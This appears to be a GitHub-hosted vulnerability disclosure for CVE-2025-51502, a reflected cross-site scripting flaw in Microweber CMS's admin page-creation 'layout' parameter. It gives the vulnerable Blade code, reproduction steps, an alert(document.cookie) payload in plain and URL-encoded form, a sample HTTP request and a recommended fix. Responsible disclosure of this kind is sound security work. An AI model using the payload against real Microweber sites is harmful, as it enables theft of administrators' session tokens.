-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2025-51502
More file actions
139 lines (90 loc) · 3.76 KB
/
Copy pathCVE-2025-51502
File metadata and controls
139 lines (90 loc) · 3.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# 🛡️ Vulnerability Details
**Credits**:
> Pranav Jayan ([https://github.com/progprnv](https://github.com/progprnv))
**Tested On**:
> https://github.com/microweber/microweber
> [Microweber CMS](https://microweber.org/)
**Affected Version**:
> Latest version as tested locally on `http://localhost`
**Affected Site Page**:
> `/admin/page/create?layout=`
**Vulnerability Type**:
> Reflected Cross-Site Scripting (XSS)
---
## 🔍 Details:
The `layout` parameter in the `page/create` endpoint is directly passed into the Blade template without any proper sanitization. Specifically:
```blade
@if(isset($layout) && $layout)
@include('page::admin.page.edit', ['layout' => $layout])
@endif
```
Here, unsanitized user input from the `layout` query string is used inside a dynamic template include. If `layout` is manipulated to contain a malicious string, it can result in JavaScript code execution in the context of the admin page.
If `layout` comes from user-supplied data such as:
```
?layout="><script>alert(document.cookie)</script>
```
Then it leads to **Reflected XSS**, as the malicious script will be rendered in the context of the page and executed.
---
## 🧪 Steps to Reproduce:
**Step 1:**
Navigate to the clean page creation URL:
```
http://localhost/microweber/admin/page/create?layout=clean.php
```
**Step 2:**
Modify the `layout` parameter to inject an XSS payload:
```
http://localhost/microweber/admin/page/create?layout=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
```
**Step 3:**
Observe that the injected payload is reflected and the XSS is triggered, showing the alert with document cookies.
---
## 💉 Payload Used:
```html
"><script>alert(document.cookie)</script>
```
Encoded in URL as:
```
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
```
---
## 📡 HTTP Request Example:
```http
GET /microweber/admin/page/create?layout=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: localhost
Connection: close
```
---
## 🧨 Related CWE:
> [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)
---
## 🚨 Vulnerability Impact:
- Stealing tokens
- CSRF bypass since X-CSRF Token is triggered on the response
- DOM manipulation
---
## 📄 Source Code Insight:
In the file rendering the create page interface (`resources/views/page/admin/page/create.blade.php`), we found this logic:
```blade
@if(isset($layout) && $layout)
@include('page::admin.page.edit', ['layout' => $layout])
@endif
```
This means if an attacker passes a specially crafted `layout` value, it's injected directly into the page rendering flow, leading to an XSS vector if it's used unsafely within `page.edit`.
---
## 📸 Proof of Concept Screenshots:
---
## ✅ Recommended Fix:
- Sanitize and validate the `layout` parameter server-side before using it in Blade includes.
- Apply strict allowlist checking: only permit known-safe layout filenames (e.g., `clean.php`, `home.php`).
- Use Laravel's `e()` or `htmlspecialchars()` where necessary to escape user inputs.
---
## Timelines:
- 30-05-2025 - Vulnerability Found
- 30-05-2025 - Informed developer team of Microweber